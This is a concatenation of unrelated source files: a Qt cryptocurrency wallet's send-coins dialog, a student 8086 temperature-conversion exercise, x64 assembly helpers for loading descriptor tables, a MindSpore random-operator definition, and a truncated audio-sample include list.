ui->sendButton->setFont(GUIUtil::getSubLabelFont());
ui->clearButton->setFont(GUIUtil::getSubLabelFont());
ui->addButton->setFont(GUIUtil::getSubLabelFont());
ui->labelSmartFee->setFont(GUIUtil::getSubLabelFont());
ui->labelFeeEstimation->setFont(GUIUtil::getSubLabelFont());
ui->labelFeeMinimized->setFont(GUIUtil::getSubLabelFont());
}
void SendCoinsDialog::on_sendButton_clicked()
{
if(!model || !model->getOptionsModel())
return;
QList<SendCoinsRecipient> recipients;
bool valid = true;
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
if(entry->validate())
{
recipients.append(entry->getValue());
}
else
{
valid = false;
}
}
}
if(!valid || recipients.isEmpty())
{
return;
}
fNewRecipientAllowed = false;
WalletModel::UnlockContext ctx(model->requestUnlock());
if(!ctx.isValid())
{
// Unlock wallet was cancelled
fNewRecipientAllowed = true;
return;
}
// prepare transaction for getting txFee earlier
WalletModelTransaction currentTransaction(recipients);
WalletModel::SendCoinsReturn prepareStatus;
// Always use a CCoinControl instance, use the CoinControlDialog instance if CoinControl has been enabled
CCoinControl ctrl;
if (model->getOptionsModel()->getCoinControlFeatures())
ctrl = *CoinControlDialog::coinControl;
updateCoinControlState(ctrl);
if (IsInitialBlockDownload()) {
GUIUtil::SyncWarningMessage syncWarning(this);
bool sendTransaction = syncWarning.showTransactionSyncWarningMessage();
if (!sendTransaction)
return;
}
prepareStatus = model->prepareTransaction(currentTransaction, ctrl);
// process prepareStatus and on error generate message shown to user
processSendCoinsReturn(prepareStatus,
MuleUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), currentTransaction.getTransactionFee()));
if(prepareStatus.status != WalletModel::OK) {
fNewRecipientAllowed = true;
return;
}
CAmount txFee = currentTransaction.getTransactionFee();
// Format confirmation message
QStringList formatted;
for (const SendCoinsRecipient &rcp : currentTransaction.getRecipients())
{
// generate bold amount string
QString amount = "<b>" + MuleUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount);
amount.append("</b>");
// generate monospace address string
QString address = "<span style='font-family: monospace;'>" + rcp.address;
address.append("</span>");
QString recipientElement;
if (!rcp.paymentRequest.IsInitialized()) // normal payment
{
if(rcp.label.length() > 0) // label with address
{
recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.label));
recipientElement.append(QString(" (%1)").arg(address));
}
else // just address
{
recipientElement = tr("%1 to %2").arg(amount, address);
}
}
else if(!rcp.authenticatedMerchant.isEmpty()) // authenticated payment request
{
recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.authenticatedMerchant));
}
else // unauthenticated payment request
{
recipientElement = tr("%1 to %2").arg(amount, address);
}
formatted.append(recipientElement);
}
QString questionString = tr("Are you sure you want to send?");
questionString.append("<br /><br />%1");
if(txFee > 0)
{
// append fee string if a fee is required
questionString.append("<hr /><span style='color:#aa0000;'>");
questionString.append(MuleUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), txFee));
questionString.append("</span> ");
questionString.append(tr("added as transaction fee"));
// append transaction size
questionString.append(" (" + QString::number((double)currentTransaction.getTransactionSize() / 1000) + " kB)");
}
// add total amount in all subdivision units
questionString.append("<hr />");
CAmount totalAmount = currentTransaction.getTotalTransactionAmount() + txFee;
QStringList alternativeUnits;
for (MuleUnits::Unit u : MuleUnits::availableUnits())
{
if(u != model->getOptionsModel()->getDisplayUnit())
alternativeUnits.append(MuleUnits::formatHtmlWithUnit(u, totalAmount));
}
questionString.append(tr("Total Amount %1")
.arg(MuleUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), totalAmount)));
questionString.append(QString("<span style='font-size:10pt;font-weight:normal;'><br />(=%2)</span>")
.arg(alternativeUnits.join(" " + tr("or") + "<br />")));
// if (ui->optInRBF->isChecked())
// {
// questionString.append("<hr /><span>");
// questionString.append(tr("This transaction signals replaceability (optin-RBF)."));
// questionString.append("</span>");
// }
SendConfirmationDialog confirmationDialog(tr("Confirm send coins"),
questionString.arg(formatted.join("<br />")), SEND_CONFIRM_DELAY, this);
confirmationDialog.exec();
QMessageBox::StandardButton retval = (QMessageBox::StandardButton)confirmationDialog.result();
if(retval != QMessageBox::Yes)
{
fNewRecipientAllowed = true;
return;
}
// now send the prepared transaction
WalletModel::SendCoinsReturn sendStatus = model->sendCoins(currentTransaction);
// process sendStatus and on error generate message shown to user
processSendCoinsReturn(sendStatus);
if (sendStatus.status == WalletModel::OK)
{
accept();
CoinControlDialog::coinControl->UnSelectAll();
coinControlUpdateLabels();
}
fNewRecipientAllowed = true;
}
void SendCoinsDialog::clear()
{
// Remove entries until only one left
while(ui->entries->count())
{
ui->entries->takeAt(0)->widget()->deleteLater();
}
addEntry();
updateTabsAndLabels();
}
void SendCoinsDialog::reject()
{
clear();
}
void SendCoinsDialog::accept()
{
clear();
}
SendCoinsEntry *SendCoinsDialog::addEntry()
{
SendCoinsEntry *entry = new SendCoinsEntry(platformStyle, this);
entry->setModel(model);
ui->entries->addWidget(entry);
connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*)));
connect(entry, SIGNAL(payAmountChanged()), this, SLOT(coinControlUpdateLabels()));
connect(entry, SIGNAL(subtractFeeFromAmountChanged()), this, SLOT(coinControlUpdateLabels()));
// Focus the field, so that entry can start immediately
entry->clear();
entry->setFocus();
ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint());
qApp->processEvents();
QScrollBar* bar = ui->scrollArea->verticalScrollBar();
if(bar)
bar->setSliderPosition(bar->maximum());
updateTabsAndLabels();
return entry;
}
void SendCoinsDialog::updateTabsAndLabels()
{
setupTabChain(0);
coinControlUpdateLabels();
}
void SendCoinsDialog::removeEntry(SendCoinsEntry* entry)
{
entry->hide();
// If the last entry is about to be removed add an empty one
if (ui->entries->count() == 1)
addEntry();
entry->deleteLater();
updateTabsAndLabels();
}
QWidget *SendCoinsDialog::setupTabChain(QWidget *prev)
{
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry)
{
prev = entry->setupTabChain(prev);
}
}
QWidget::setTabOrder(prev, ui->sendButton);
QWidget::setTabOrder(ui->sendButton, ui->clearButton);
QWidget::setTabOrder(ui->clearButton, ui->addButton);
return ui->addButton;
}
void SendCoinsDialog::setAddress(const QString &address)
{
SendCoinsEntry *entry = 0;
// Replace the first entry if it is still unused
if(ui->entries->count() == 1)
{
SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());
if(first->isClear())
{
entry = first;
}
}
if(!entry)
{
entry = addEntry();
}
entry->setAddress(address);
}
void SendCoinsDialog::pasteEntry(const SendCoinsRecipient &rv)
{
if(!fNewRecipientAllowed)
return;
SendCoinsEntry *entry = 0;
// Replace the first entry if it is still unused
if(ui->entries->count() == 1)
{
SendCoinsEntry *first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget());
if(first->isClear())
{
entry = first;
}
}
if(!entry)
{
entry = addEntry();
}
entry->setValue(rv);
updateTabsAndLabels();
}
bool SendCoinsDialog::handlePaymentRequest(const SendCoinsRecipient &rv)
{
// Just paste the entry, all pre-checks
// are done in paymentserver.cpp.
pasteEntry(rv);
return true;
}
void SendCoinsDialog::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance,
const CAmount& watchBalance, const CAmount& watchUnconfirmedBalance, const CAmount& watchImmatureBalance)
{
Q_UNUSED(unconfirmedBalance);
Q_UNUSED(immatureBalance);
Q_UNUSED(watchBalance);
Q_UNUSED(watchUnconfirmedBalance);
Q_UNUSED(watchImmatureBalance);
ui->labelBalance->setFont(GUIUtil::getSubLabelFont());
ui->label->setFont(GUIUtil::getSubLabelFont());
if(model && model->getOptionsModel())
{
ui->labelBalance->setText(MuleUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), balance));
}
}
void SendCoinsDialog::updateDisplayUnit()
{
setBalance(model->getBalance(), 0, 0, 0, 0, 0);
ui->customFee->setDisplayUnit(model->getOptionsModel()->getDisplayUnit());
updateMinFeeLabel();
updateSmartFeeLabel();
}
void SendCoinsDialog::processSendCoinsReturn(const WalletModel::SendCoinsReturn &sendCoinsReturn, const QString &msgArg)
{
QPair<QString, CClientUIInterface::MessageBoxFlags> msgParams;
// Default to a warning message, override if error message is needed
msgParams.second = CClientUIInterface::MSG_WARNING;
// This comment is specific to SendCoinsDialog usage of WalletModel::SendCoinsReturn.
// WalletModel::TransactionCommitFailed is used only in WalletModel::sendCoins()
// all others are used only in WalletModel::prepareTransaction()
switch(sendCoinsReturn.status)
{
case WalletModel::InvalidAddress:
msgParams.first = tr("The recipient address is not valid. Please recheck.");
break;
case WalletModel::InvalidAmount:
msgParams.first = tr("The amount to pay must be larger than 0.");
break;
case WalletModel::AmountExceedsBalance:
msgParams.first = tr("The amount exceeds your balance.");
break;
case WalletModel::AmountWithFeeExceedsBalance:
msgParams.first = tr("The total exceeds your balance when the %1 transaction fee is included.").arg(msgArg);
break;
case WalletModel::DuplicateAddress:
msgParams.first = tr("Duplicate address found: addresses should only be used once each.");
break;
case WalletModel::TransactionCreationFailed:
msgParams.first = tr("Transaction creation failed!");
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
case WalletModel::TransactionCommitFailed:
msgParams.first = tr("The transaction was rejected with the following reason: %1").arg(sendCoinsReturn.reasonCommitFailed);
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
case WalletModel::AbsurdFee:
msgParams.first = tr("A fee higher than %1 is considered an absurdly high fee.").arg(MuleUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), maxTxFee));
break;
case WalletModel::PaymentRequestExpired:
msgParams.first = tr("Payment request expired.");
msgParams.second = CClientUIInterface::MSG_ERROR;
break;
// included to prevent a compiler warning.
case WalletModel::OK:
default:
return;
}
Q_EMIT message(tr("Send Coins"), msgParams.first, msgParams.second);
}
void SendCoinsDialog::minimizeFeeSection(bool fMinimize)
{
ui->labelFeeMinimized->setVisible(fMinimize);
ui->buttonChooseFee ->setVisible(fMinimize);
ui->buttonMinimizeFee->setVisible(!fMinimize);
ui->frameFeeSelection->setVisible(!fMinimize);
ui->horizontalLayoutSmartFee->setContentsMargins(0, (fMinimize ? 0 : 6), 0, 0);
fFeeMinimized = fMinimize;
}
void SendCoinsDialog::on_buttonChooseFee_clicked()
{
minimizeFeeSection(false);
}
void SendCoinsDialog::on_buttonMinimizeFee_clicked()
{
updateFeeMinimizedLabel();
minimizeFeeSection(true);
}
void SendCoinsDialog::setMinimumFee()
{
ui->customFee->setValue(GetRequiredFee(1000));
}
void SendCoinsDialog::updateFeeSectionControls()
{
ui->confTargetSelector ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee2 ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelSmartFee3 ->setEnabled(ui->radioSmartFee->isChecked());
ui->labelFeeEstimation ->setEnabled(ui->radioSmartFee->isChecked());
ui->checkBoxMinimumFee ->setEnabled(ui->radioCustomFee->isChecked());
ui->labelMinFeeWarning ->setEnabled(ui->radioCustomFee->isChecked());
ui->labelCustomPerKilobyte ->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked());
ui->customFee ->setEnabled(ui->radioCustomFee->isChecked() && !ui->checkBoxMinimumFee->isChecked());
}
void SendCoinsDialog::updateFeeMinimizedLabel()
{
if(!model || !model->getOptionsModel())
return;
if (ui->radioSmartFee->isChecked())
ui->labelFeeMinimized->setText(ui->labelSmartFee->text());
else {
ui->labelFeeMinimized->setText(MuleUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ui->customFee->value()) + "/kB");
}
}
void SendCoinsDialog::updateMinFeeLabel()
{
if (model && model->getOptionsModel())
ui->checkBoxMinimumFee->setText(tr("Pay only the required fee of %1").arg(
MuleUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), GetRequiredFee(1000)) + "/kB")
);
}
void SendCoinsDialog::updateCoinControlState(CCoinControl& ctrl)
{
if (ui->radioCustomFee->isChecked()) {
ctrl.m_feerate = CFeeRate(ui->customFee->value());
} else {
ctrl.m_feerate.reset();
}
// Avoid using global defaults when sending money from the GUI
// Either custom fee will be used or if not selected, the confirmation target from dropdown box
ctrl.m_confirm_target = getConfTargetForIndex(ui->confTargetSelector->currentIndex());
// ctrl.signalRbf = ui->optInRBF->isChecked();
}
void SendCoinsDialog::updateSmartFeeLabel()
{
if(!model || !model->getOptionsModel())
return;
CCoinControl coin_control;
updateCoinControlState(coin_control);
coin_control.m_feerate.reset(); // Explicitly use only fee estimation rate for smart fee labels
FeeCalculation feeCalc;
CFeeRate feeRate = CFeeRate(GetMinimumFee(1000, coin_control, ::mempool, ::feeEstimator, &feeCalc));
ui->labelSmartFee->setText(MuleUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), feeRate.GetFeePerK()) + "/kB");
if (feeCalc.reason == FeeReason::FALLBACK) {
ui->labelSmartFee2->show(); // (Smart fee not initialized yet. This usually takes a few blocks...)
ui->labelFeeEstimation->setText("");
ui->fallbackFeeWarningLabel->setVisible(true);
int lightness = ui->fallbackFeeWarningLabel->palette().color(QPalette::WindowText).lightness();
QColor warning_colour(255 - (lightness / 5), 176 - (lightness / 3), 48 - (lightness / 14));
ui->fallbackFeeWarningLabel->setStyleSheet("QLabel { color: " + warning_colour.name() + "; }");
#ifndef QTversionPreFiveEleven
ui->fallbackFeeWarningLabel->setIndent(QFontMetrics(ui->fallbackFeeWarningLabel->font()).horizontalAdvance("x"));
#else
ui->fallbackFeeWarningLabel->setIndent(QFontMetrics(ui->fallbackFeeWarningLabel->font()).width("x"));
#endif
}
else
{
ui->labelSmartFee2->hide();
ui->labelFeeEstimation->setText(tr("Estimated to begin confirmation within %n block(s).", "", feeCalc.returnedTarget));
ui->fallbackFeeWarningLabel->setVisible(false);
}
updateFeeMinimizedLabel();
}
// Coin Control: copy label "Quantity" to clipboard
void SendCoinsDialog::coinControlClipboardQuantity()
{
GUIUtil::setClipboard(ui->labelCoinControlQuantity->text());
}
// Coin Control: copy label "Amount" to clipboard
void SendCoinsDialog::coinControlClipboardAmount()
{
GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" ")));
}
// Coin Control: copy label "Fee" to clipboard
void SendCoinsDialog::coinControlClipboardFee()
{
GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "After fee" to clipboard
void SendCoinsDialog::coinControlClipboardAfterFee()
{
GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "Bytes" to clipboard
void SendCoinsDialog::coinControlClipboardBytes()
{
GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "Dust" to clipboard
void SendCoinsDialog::coinControlClipboardLowOutput()
{
GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text());
}
// Coin Control: copy label "Change" to clipboard
void SendCoinsDialog::coinControlClipboardChange()
{
GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: settings menu - coin control enabled/disabled by user
void SendCoinsDialog::coinControlFeatureChanged(bool checked)
{
ui->frameCoinControl->setVisible(checked);
if (!checked && model) // coin control features disabled
CoinControlDialog::coinControl->SetNull();
coinControlUpdateLabels();
}
// Coin Control: button inputs -> show actual coin control dialog
void SendCoinsDialog::coinControlButtonClicked()
{
CoinControlDialog dlg(platformStyle);
dlg.setModel(model);
dlg.exec();
coinControlUpdateLabels();
}
// Coin Control: checkbox custom change address
void SendCoinsDialog::coinControlChangeChecked(int state)
{
if (state == Qt::Unchecked)
{
CoinControlDialog::coinControl->destChange = CNoDestination();
ui->labelCoinControlChangeLabel->clear();
}
else
// use this to re-validate an already entered address
coinControlChangeEdited(ui->lineEditCoinControlChange->text());
ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked));
}
// Coin Control: custom change address changed
void SendCoinsDialog::coinControlChangeEdited(const QString& text)
{
if (model && model->getAddressTableModel())
{
// Default to no change address until verified
CoinControlDialog::coinControl->destChange = CNoDestination();
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}");
const CTxDestination dest = DecodeDestination(text.toStdString());
if (text.isEmpty()) // Nothing entered
{
ui->labelCoinControlChangeLabel->setText("");
}
else if (!IsValidDestination(dest)) // Invalid address
{
ui->labelCoinControlChangeLabel->setText(tr("Warning: Invalid Mule address"));
}
else // Valid address
{
if (!model->IsSpendable(dest)) {
ui->labelCoinControlChangeLabel->setText(tr("Warning: Unknown change address"));
// confirmation dialog
QMessageBox::StandardButton btnRetVal = QMessageBox::question(this, tr("Confirm custom change address"), tr("The address you selected for change is not part of this wallet. Any or all funds in your wallet may be sent to this address. Are you sure?"),
QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel);
if(btnRetVal == QMessageBox::Yes)
CoinControlDialog::coinControl->destChange = dest;
else
{
ui->lineEditCoinControlChange->setText("");
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}");
ui->labelCoinControlChangeLabel->setText("");
}
}
else // Known change address
{
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}");
// Query label
QString associatedLabel = model->getAddressTableModel()->labelForAddress(text);
if (!associatedLabel.isEmpty())
ui->labelCoinControlChangeLabel->setText(associatedLabel);
else
ui->labelCoinControlChangeLabel->setText(tr("(no label)"));
CoinControlDialog::coinControl->destChange = dest;
}
}
}
}
// Coin Control: update labels
void SendCoinsDialog::coinControlUpdateLabels()
{
if (!model || !model->getOptionsModel())
return;
updateCoinControlState(*CoinControlDialog::coinControl);
// set pay amounts
CoinControlDialog::payAmounts.clear();
CoinControlDialog::fSubtractFeeFromAmount = false;
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry && !entry->isHidden())
{
SendCoinsRecipient rcp = entry->getValue();
CoinControlDialog::payAmounts.append(rcp.amount);
if (rcp.fSubtractFeeFromAmount)
CoinControlDialog::fSubtractFeeFromAmount = true;
}
}
if (CoinControlDialog::coinControl->HasSelected())
{
// actual coin control calculation
CoinControlDialog::updateLabels(model, this);
// show coin control stats
ui->labelCoinControlAutomaticallySelected->hide();
ui->widgetCoinControl->show();
}
else
{
// hide coin control stats
ui->labelCoinControlAutomaticallySelected->show();
ui->widgetCoinControl->hide();
ui->labelCoinControlInsuffFunds->hide();
}
}
SendConfirmationDialog::SendConfirmationDialog(const QString &title, const QString &text, int _secDelay,
QWidget *parent) :
QMessageBox(QMessageBox::Question, title, text, QMessageBox::Yes | QMessageBox::Cancel, parent), secDelay(_secDelay)
{
setDefaultButton(QMessageBox::Cancel);
yesButton = button(QMessageBox::Yes);
updateYesButton();
connect(&countDownTimer, SIGNAL(timeout()), this, SLOT(countDown()));
}
int SendConfirmationDialog::exec()
{
updateYesButton();
countDownTimer.start(1000);
return QMessageBox::exec();
}
void SendConfirmationDialog::countDown()
{
secDelay--;
updateYesButton();
if(secDelay <= 0)
{
countDownTimer.stop();
}
}
void SendConfirmationDialog::updateYesButton()
{
if(secDelay > 0)
{
yesButton->setEnabled(false);
yesButton->setText(tr("Yes") + " (" + QString::number(secDelay) + ")");
}
else
{
yesButton->setEnabled(true);
yesButton->setText(tr("Yes"));
}
}
|
; Microcomputer Systems - Flow Y [6th Semester]
; Nafsika Abatzi - 031 17 198 - nafsika.abatzi@gmail.com
; Dimitris Dimos - 031 17 165 - dimitris.dimos647@gmail.com
; 5th Group of Exercises
; 5th Exercise
INCLUDE MACROS.ASM
PRINT_DEC MACRO
PUSH AX
ADD DL, 30H
MOV AH,2
INT 21H
POP AX
ENDM
DATA_SEG SEGMENT
START_MSG DB "START (Y, N):",0AH,0DH,'$'
END_MSG DB "Program will now end...",0AH,0DH,'$'
ERROR_MSG DB "ERROR",0AH,0DH,'$'
FIRST DB ?
SECOND DB ?
THIRD DB ?
TEMP DB "The temperature is: ",'$'
NEWLINE DB 0AH,0DH,'$'
DATA_SEG ENDS
CODE_SEG SEGMENT
ASSUME CS:CODE_SEG, DS:DATA_SEG
MAIN PROC FAR
; define DATA SEGMENT
MOV AX,DATA_SEG
MOV DS,AX
PRNT_STR START_MSG ; ask user what he wants
CALL YES_OR_NO ; put answer in AL
; act accordingly (N===>end program)
CMP AL,'N'
JE END_ALL
REPEAT:
; we get the 3-HEX-digit input
CALL GET_INPUT
CMP AL,'N'
JE END_ALL
MOV FIRST,AL
CALL GET_INPUT
CMP AL,'N'
JE END_ALL
MOV SECOND,AL
CALL GET_INPUT
CMP AL,'N'
JE END_ALL
MOV THIRD,AL
; put input in AX
CALL TIDY_INPUT
; calculate A/D Converter output Volts (AX)
MOV BX,10
MUL BX
MOV BX,20475
DIV BX
MOV BX,AX ; Volts = (INPUT * 10 / 20475)
; BX = quotient
; DX = remainder
; check for error
CMP BX,2
JGE ERROR_PART ; if quotient >= 2, then we have
; a temperature over 999.9 degrees ===> ERROR
; which region are we in?
CALL TIDY_INPUT ; AX <=== input
CMP AX,2047 ; 0 < (A|D) < 2047.5 ===> 0<temp<500 deg
JLE FIRST_REGION
CMP AX,3685 ; 2047.5 < (A|D) < 3685.5 ===> 500<temp<700 deg
JLE SECOND_REGION
; otherwise third class ===> 700<temp<1000 deg
THIRD_REGION: ; T = (200*input)/273 - 2000
MOV CX,2000
MUL CX ; DX:AX = 2000*input
MOV CX,273
DIV CX ; AX = (2000*input)/273
MOV CX,20000
SUB AX,CX ; AX = (2000*input)/273 - 20000
; result is multiplied by 10
; to keep last digit as the decimal afterwards
CALL PRINT_TEMPERATURE
JMP REPEAT
FIRST_REGION: ; T = (200*input)/819
MOV CX,2000 ; mul by 2000 (to keep last digit as the decimal afterwards)
MUL CX
MOV CX,819
DIV CX ; result in AX
CALL PRINT_TEMPERATURE
JMP REPEAT
SECOND_REGION: ; T = 250 + (100*input)/819
MOV CX,1000
MUL CX ; DX:AX = input*1000
MOV CX,819
DIV CX ; AX = (1000*input)/819
MOV CX,2500
ADD AX,CX ; AX = 2500 + (1000*input)/819
; result is multiplied by 10
; to keep last digit as the decimal afterwards
CALL PRINT_TEMPERATURE
JMP REPEAT
; if temperature exceeds 999.9 degrees
ERROR_PART:
PRNT_STR ERROR_MSG
JMP REPEAT
; ------------------------------
END_ALL:
PRNT_STR END_MSG
EXIT
MAIN ENDP
; --------- AUXILIARY ROUTINES -----------
; routine get a Y or a N (ignore all there characters)
YES_OR_NO PROC NEAR
IGNORE:
READ
CMP AL,'Y'
JE GOT_IT
CMP AL,'N'
JE GOT_IT
JMP IGNORE
GOT_IT:
RET
YES_OR_NO ENDP
; routine to input a hex number
GET_INPUT PROC NEAR
IGNORE_:
READ
CMP AL,30H ; if input < 30H ('0') then ignore it
JL IGNORE_
CMP AL,39H ; if input > 39H ('9') then it may be a hex letter
JG CHECK_LETTER
SUB AL,30H ; otherwise make it a hex number
JMP GOT_INPUT
CHECK_LETTER:
CMP AL,'N' ; if input = 'N', then return to quit
JE GOT_INPUT
CMP AL,'A' ; if input < 'A' then ignore it
JL IGNORE_
CMP AL,'F' ; if input > 'F' then ignore it
JG IGNORE_
SUB AL,37H ; otherwise make it a hex number
GOT_INPUT:
RET
GET_INPUT ENDP
; routine to put input in AX
TIDY_INPUT PROC NEAR
PUSH BX
MOV AH,FIRST ; AH = 0000XXXX
MOV AL,SECOND ; AL = 0000YYYY
SAL AL,4
AND AL,0F0H ; AL = YYYY0000
MOV BL,THIRD
AND BL,0FH ; BL = 0000ZZZZ
OR AL,BL ; AL = YYYYZZZZ
; AX = 0000XXXX YYYYZZZZ (FULL NUMBER)
POP BX
RET
TIDY_INPUT ENDP
; routine to print temperature (it's in AX)
PRINT_TEMPERATURE PROC NEAR
PUSH AX
PRNT_STR TEMP
POP AX
MOV CX,0 ; initialize counter
SPLIT:
MOV DX,0
MOV BX,10
DIV BX ; take the last decimal digit
PUSH DX ; save it
INC CX
CMP AX,0
JNE SPLIT ; continue, till we split the whole number
DEC CX
CMP CX,0
JNE PRNT_
PRINT '0'
JMP ONLY_DECIMAL
PRNT_:
POP DX ; print the digits we saved in reverse
PRINT_DEC
LOOP PRNT_
ONLY_DECIMAL:
PRINT '.' ; the last digit is the decimal
POP DX
PRINT_DEC
PRINT ' '
PRINT 0F8H
PRINT 'C'
PRNT_STR NEWLINE
RET
PRINT_TEMPERATURE ENDP
CODE_SEG ENDS
END MAIN
|
;
; Copyright (c) 2011 Intel Corporation
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; 3. Neither the name of the copyright holder nor the names of its
; contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
; ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
; INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
; CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
option casemap:none
SYSDESC_T STRUCT
__limit WORD ?
__base QWORD ?
SYSDESC_T ENDS
.data
;
.code
load_kernel_ldt PROC public
lldt cx
ret
load_kernel_ldt ENDP
get_kernel_tr_selector PROC public
xor rax, rax
str ax
ret
get_kernel_tr_selector ENDP
get_kernel_ldt PROC public
xor rax, rax
sldt ax
ret
get_kernel_ldt ENDP
get_kernel_gdt PROC public
sgdt [rcx]
ret
get_kernel_gdt ENDP
get_kernel_idt PROC public
sidt [rcx]
ret
get_kernel_idt ENDP
set_kernel_gdt PROC public
lgdt fword ptr [rcx]
ret
set_kernel_gdt ENDP
set_kernel_idt PROC public
lidt fword ptr [rcx]
ret
set_kernel_idt ENDP
end
|
/**
* Copyright 2021 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "ops/uniform_real.h"
#include <string>
#include <memory>
#include "ops/op_utils.h"
#include "utils/check_convert_utils.h"
#include "mindapi/src/helper.h"
namespace mindspore {
namespace ops {
MIND_API_OPERATOR_IMPL(UniformReal, BaseOperator);
void UniformReal::Init(int64_t seed, int64_t seed2) {
this->set_seed(seed);
this->set_seed2(seed2);
}
void UniformReal::set_seed(int64_t seed) { (void)this->AddAttr(kSeed, api::MakeValue(seed)); }
void UniformReal::set_seed2(int64_t seed2) { (void)this->AddAttr(kSeed2, api::MakeValue(seed2)); }
int64_t UniformReal::get_seed() const {
auto value_ptr = GetAttr(kSeed);
return GetValue<int64_t>(value_ptr);
}
int64_t UniformReal::get_seed2() const {
auto value_ptr = GetAttr(kSeed2);
return GetValue<int64_t>(value_ptr);
}
REGISTER_PRIMITIVE_C(kNameUniformReal, UniformReal);
} // namespace ops
} // namespace mindspore
|
org 256*(1+(HIGH($))) ;align to 256b page
smp0 ;silence
ds 256,0
;**********************************************************
;add your samples here
smp1
include "samples/tri-v4.asm"
smp1a
include "samples/tri-v2.asm"
smp2
include "samples/sq50-v4.asm"
smp3
include "samples/sq50-v3.asm"
smp4
include "samples/sq50-v2.asm"
smp5
include "samples/sq50-v1.asm"
smp6
include "samples/sq25-v4.asm"
smp7
include "samples/sq25-v3.asm"
smp8
include "samples/sq25-v2.asm"
smp9
include "samples/sq25-v1.asm"
smp10
include "samples/kick-v4.asm"
smp11
include "samples/kick-v3.asm"
smp12
include "samples/kick-v2.asm"
smp13
include "samples/kick-v1.asm"
smp14
include "samples/whitenoise-v4.asm"
smp15
include "samples/whitenoise-v3.asm"
smp16
include "samples/whitenoise-v2.asm"
smp17
include "samples/whitenoise-v1.asm"
smp18
include "samples/softkick-v4.asm"
smp19
include "samples/softkick-v3.asm"
smp20
include "samples/softkick-v2.asm"
smp21
include "samples/softkick-v1.asm"
smp22
include "samples/phat1-v4.asm"
smp23
